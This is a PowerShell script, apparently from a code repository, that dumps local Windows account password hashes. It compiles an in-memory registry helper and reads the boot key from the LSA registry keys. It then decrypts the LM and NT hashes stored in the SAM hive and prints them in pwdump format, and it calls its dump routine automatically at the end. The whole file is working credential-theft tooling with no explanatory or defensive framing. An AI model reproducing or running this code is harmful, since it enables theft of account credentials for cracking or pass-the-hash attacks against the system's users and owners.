1 line
12 KiB
PowerShell
Executable File
1 line
12 KiB
PowerShell
Executable File
function LoadApi
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{
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$oldErrorAction = $global:ErrorActionPreference;
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$global:ErrorActionPreference = "SilentlyContinue";
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$test = [PowerDump.Native];
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$global:ErrorActionPreference = $oldErrorAction;
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if ($test)
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{
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# already loaded
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return;
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}
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$code = @'
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using System;
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using System.Security.Cryptography;
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using System.Runtime.InteropServices;
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using System.Text;
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namespace PowerDump
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{
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public class Native
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{
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[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
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public static extern int RegOpenKeyEx(
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int hKey,
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string subKey,
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int ulOptions,
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int samDesired,
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out int hkResult);
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[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
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extern public static int RegEnumKeyEx(
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int hkey,
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int index,
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StringBuilder lpName,
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ref int lpcbName,
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int reserved,
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StringBuilder lpClass,
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ref int lpcbClass,
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out long lpftLastWriteTime);
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[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
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extern public static int RegQueryInfoKey(
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int hkey,
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StringBuilder lpClass,
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ref int lpcbClass,
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int lpReserved,
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out int lpcSubKeys,
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out int lpcbMaxSubKeyLen,
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out int lpcbMaxClassLen,
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out int lpcValues,
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out int lpcbMaxValueNameLen,
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out int lpcbMaxValueLen,
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out int lpcbSecurityDescriptor,
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IntPtr lpftLastWriteTime);
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[DllImport("advapi32.dll", SetLastError=true)]
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public static extern int RegCloseKey(
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int hKey);
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}
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} // end namespace PowerDump
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public class Shift {
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public static int Right(int x, int count) { return x >> count; }
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public static uint Right(uint x, int count) { return x >> count; }
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public static long Right(long x, int count) { return x >> count; }
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public static ulong Right(ulong x, int count) { return x >> count; }
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public static int Left(int x, int count) { return x << count; }
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public static uint Left(uint x, int count) { return x << count; }
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public static long Left(long x, int count) { return x << count; }
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public static ulong Left(ulong x, int count) { return x << count; }
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}
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'@
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$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
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$dllName = [PsObject].Assembly.Location
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$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
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$assemblies = @("System.dll", $dllName)
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$compilerParameters.ReferencedAssemblies.AddRange($assemblies)
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$compilerParameters.GenerateInMemory = $true
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$compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
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if($compilerResults.Errors.Count -gt 0) {
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$compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
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}
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}
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$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
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$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
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$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
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$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
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$odd_parity = @(
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1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
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16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
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32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
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49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
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64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
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81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
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97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
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112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
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128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
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145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
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161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
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176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
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193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
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208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
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224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
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241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
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);
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function sid_to_key($sid)
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{
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$s1 = @();
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$s1 += [char]($sid -band 0xFF);
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$s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
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$s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
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$s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
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$s1 += $s1[0];
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$s1 += $s1[1];
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$s1 += $s1[2];
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$s2 = @();
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$s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
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$s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
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return ,((str_to_key $s1),(str_to_key $s2));
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}
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function str_to_key($s)
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{
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$key = @();
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$key += [Shift]::Right([int]($s[0]), 1 );
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$key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
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$key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
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$key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
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$key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
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$key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
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$key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
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$key += $([int]($s[6]) -band 0x7F);
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0..7 | %{
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$key[$_] = [Shift]::Left($key[$_], 1);
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$key[$_] = $odd_parity[$key[$_]];
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}
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return ,$key;
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}
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function NewRC4([byte[]]$key)
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{
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return new-object Object |
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Add-Member NoteProperty key $key -PassThru |
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Add-Member NoteProperty S $null -PassThru |
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Add-Member ScriptMethod init {
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if (-not $this.S)
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{
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[byte[]]$this.S = 0..255;
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0..255 | % -begin{[long]$j=0;}{
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$j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
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$temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
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}
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}
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} -PassThru |
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Add-Member ScriptMethod "encrypt" {
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$data = $args[0];
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$this.init();
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$outbuf = new-object byte[] $($data.Length);
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$S2 = $this.S[0..$this.S.Length];
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0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
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$i = ($i+1) % $S2.Length;
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$j = ($j + $S2[$i]) % $S2.Length;
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$temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
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$a = $data[$_];
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$b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
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$outbuf[$_] = ($a -bxor $b);
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}
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return ,$outbuf;
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} -PassThru
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}
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function des_encrypt([byte[]]$data, [byte[]]$key)
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{
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return ,(des_transform $data $key $true)
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}
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function des_decrypt([byte[]]$data, [byte[]]$key)
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{
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return ,(des_transform $data $key $false)
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}
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function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
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{
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$des = new-object Security.Cryptography.DESCryptoServiceProvider;
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$des.Mode = [Security.Cryptography.CipherMode]::ECB;
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$des.Padding = [Security.Cryptography.PaddingMode]::None;
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$des.Key = $key;
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$des.IV = $key;
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$transform = $null;
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if ($doEncrypt) {$transform = $des.CreateEncryptor();}
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else{$transform = $des.CreateDecryptor();}
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$result = $transform.TransformFinalBlock($data, 0, $data.Length);
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return ,$result;
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}
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function Get-RegKeyClass([string]$key, [string]$subkey)
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{
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switch ($Key) {
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"HKCR" { $nKey = 0x80000000} #HK Classes Root
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"HKCU" { $nKey = 0x80000001} #HK Current User
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"HKLM" { $nKey = 0x80000002} #HK Local Machine
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"HKU" { $nKey = 0x80000003} #HK Users
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"HKCC" { $nKey = 0x80000005} #HK Current Config
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default {
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throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
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}
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}
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$KEYQUERYVALUE = 0x1;
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$KEYREAD = 0x19;
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$KEYALLACCESS = 0x3F;
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$result = "";
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[int]$hkey=0
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if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
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{
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$classVal = New-Object Text.Stringbuilder 1024
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[int]$len = 1024
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if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
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[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
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{
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$result = $classVal.ToString()
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}
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else
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{
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Write-Error "RegQueryInfoKey failed";
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}
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[PowerDump.Native]::RegCloseKey($hkey) | Out-Null
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}
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else
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{
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Write-Error "Cannot open key";
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}
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return $result;
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}
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function Get-BootKey
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{
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$s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
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$b = new-object byte[] $($s.Length/2);
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0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
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$b2 = new-object byte[] 16;
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0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
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return ,$b2;
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}
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function Get-HBootKey
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{
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param([byte[]]$bootkey);
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$aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
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$anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
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$k = Get-Item HKLM:\SAM\SAM\Domains\Account;
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if (-not $k) {return $null}
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[byte[]]$F = $k.GetValue("F");
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if (-not $F) {return $null}
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$rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
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$rc4 = NewRC4 $rc4key;
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return ,($rc4.encrypt($F[0x80..0x9F]));
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}
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function Get-UserName([byte[]]$V)
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{
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if (-not $V) {return $null};
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$offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
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$len = [BitConverter]::ToInt32($V[0x10..0x13],0);
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return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
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}
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function Get-UserHashes($u, [byte[]]$hbootkey)
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{
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[byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
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if ($u.HashOffset + 0x28 -lt $u.V.Length)
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{
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$lm_hash_offset = $u.HashOffset + 4;
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$nt_hash_offset = $u.HashOffset + 8 + 0x10;
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$enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
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$enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
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}
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elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
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{
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$nt_hash_offset = $u.HashOffset + 8;
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$enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
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}
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return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
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}
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function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
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{
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[byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
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# LM Hash
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if ($enc_lm_hash)
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{
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$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
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}
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# NT Hash
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if ($enc_nt_hash)
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{
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$nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
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}
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return ,($lmhash,$nthash)
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}
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function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
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{
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$deskeys = sid_to_key $rid;
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$md5 = [Security.Cryptography.MD5]::Create();
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$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
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$rc4 = NewRC4 $rc4_key;
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$obfkey = $rc4.encrypt($enc_hash);
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$hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
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(des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
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return ,$hash;
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}
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function Get-UserKeys
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{
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ls HKLM:\SAM\SAM\Domains\Account\Users |
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where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
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Add-Member AliasProperty KeyName PSChildName -PassThru |
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Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
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Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
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Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
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Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
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}
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function DumpHashes
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{
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LoadApi
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$bootkey = Get-BootKey;
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$hbootKey = Get-HBootKey $bootkey;
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Get-UserKeys | %{
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$hashes = Get-UserHashes $_ $hBootKey;
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"{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
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[BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
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[BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
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}
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}
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DumpHashes
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